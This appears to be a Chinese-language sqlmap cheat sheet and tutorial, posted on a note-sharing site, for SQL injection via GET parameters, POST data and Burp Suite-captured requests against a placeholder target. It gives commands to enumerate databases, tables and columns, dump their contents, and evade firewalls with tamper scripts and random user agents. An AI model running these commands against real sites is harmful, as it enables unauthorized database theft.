- # sqlmap基本語法 ```txt= # 獲取資料庫 sqlmap -u "URL" --dbs # 獲取資料庫所有 table sqlmap -u "URL" -D 資料庫名稱 --tables # 獲取指定 table 之欄位 sqlmap -u "URL" -D 資料庫名稱 -T 資料表名稱 --columns # 獲取指定 table 之指定欄位資料 sqlmap -u "URL" -D 資料庫名稱 -T 資料表名稱 -C 欄位1,欄位2 --dump ``` --- - # sqlmap參數對應功能 ```txt= --dbs # 取得所有資料庫名稱 --tables # 獲取所有資料表 --columns # 獲取所有欄位 --dump # 參數用來將資料庫中指定表格的資料轉儲到一個檔案中 -D # 指定資料庫 -T # 指定資料表 -C # 指定欄位 --batch # 自動模式 --skip-waf # 跳過防火牆檢測測試 -v 3 # 顯示注入過程詳細,數字越大越細,(0~6,預設是1,常用是3) # 使用情境通常發生在fuzzing時的注入 --dbms "mysql" # 指定後端資料庫類型 # 中間有空格要使用雙引號,如:"Microsoft Access" --random-agent # 使用隨機選擇的 HTTP User-Agent 標頭值,用於繞過 WAF # B = boolean-based # E = error-based # U = union-based # S = stacked-queries # T = time-based # Q = inline-queries --technique BEQU # 指定注入技術,不使用此參數,預設就是全測,有 BEUSTQ -p username,password # 指定注入點 --time-sec 10 # 設定網頁反應的延遲時間,預設是5 --force-ssl # 在網站沒有SSL(https)的情況下使用 --proxy="http://PROXY-IP:PROXY-PORT" 類似--proxy="http://127.0.0.1:8080" # 將封包以代理的方式送出(可代理到burpsuite) --tamper=space2morehash,space2hash # 防火牆腳本,繞過防火牆用的腳本 ``` --- - # sqlmap GET注入參數 - GET注入判斷法(通常在首頁或是公告板上) ``` https://target.com/web?id=3 ``` - POST注入判斷法(通常為登入頁面) ``` https://target.com/login.php ``` ```txt= # 獲取資料庫 sqlmap -u "https://target.com/web?id=3" (在雙引號中放入目標連結) # 獲取資料庫所有資料表 sqlmap -u "https://target.com/web?id=3" -D 資料庫名稱 --tables # 獲取指定資料表之欄位 sqlmap -u "https://target.com/web?id=3" -D 資料庫名稱 -T 資料表名稱 --columns # 獲取指定資料表之指定欄位資料 sqlmap -u "https://target.com/web?id=3" -D 資料庫名稱 -T 資料表名稱 -C 欄位1,欄位2 --dump ``` ## 如圖  --- # sqlmap POST注入參數 - Post注入法分為兩種 - --data (使用sqlmap --data參數指定) - 讀取封包注入(需要使用burpsuite的proxy功能攔截封包) # sqlmap --data參數注入 在一般瀏覽器登入畫面區域按下F12找到網路的選項  再登入框或是輸入框隨便輸入一個值並送出,在開發者介面找到方法為POST的點開並選擇請求  將裡面的值複製起來,使用sqlmap執行注入 ```txt= sqlmap -u "https://target.com/login.php" --data username=admin&password=admin --dbs --batch # 獲取資料庫所有資料表 sqlmap -u "https://target.com/login.php" --data 'username=admin&password=admin' -D 資料庫名稱 --tables # 獲取指定資料表之欄位 sqlmap -u "https://target.com/login.php" --data 'username=admin&password=admin' -D 資料庫名稱 -T 資料表名稱 --columns # 獲取指定資料表之指定欄位資料 sqlmap -u "https://target.com/login.php" --data 'username=admin&password=admin' -D 資料庫名稱 -T 資料表名稱 -C 欄位1,欄位2 --dump ``` # sqlmap 封包注入 - 首先開啟Burpsuite會看到這個畫面  - 點開Proxy選項在點開**Open broser**會跳出一個瀏覽器  進到頁面後隨便在登入框或是輸入框輸入一個值***先別急著送出***  回去Burpsuite主程式找到**Intercept is off**點他一下讓他變成ON  現在我們在回去瀏覽器送出請求會顯示  在主軟體找到一個為Action的選項點Save item  並將檔案存在sqlmap的**根目錄**名稱隨便取(例:web)在使用sqlmap -r去讀取 ```txt= sqlmap -r web(備:剛剛取的名稱) --dbs --batch # 獲取資料庫所有資料表 sqlmap -r web -D 資料庫名稱 --tables # 獲取指定資料表之欄位 sqlmap -r web -D 資料庫名稱 -T 資料表名稱 --columns # 獲取指定資料表之指定欄位資料 sqlmap -r web -D 資料庫名稱 -T 資料表名稱 -C 欄位1,欄位2 --dump ``` ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up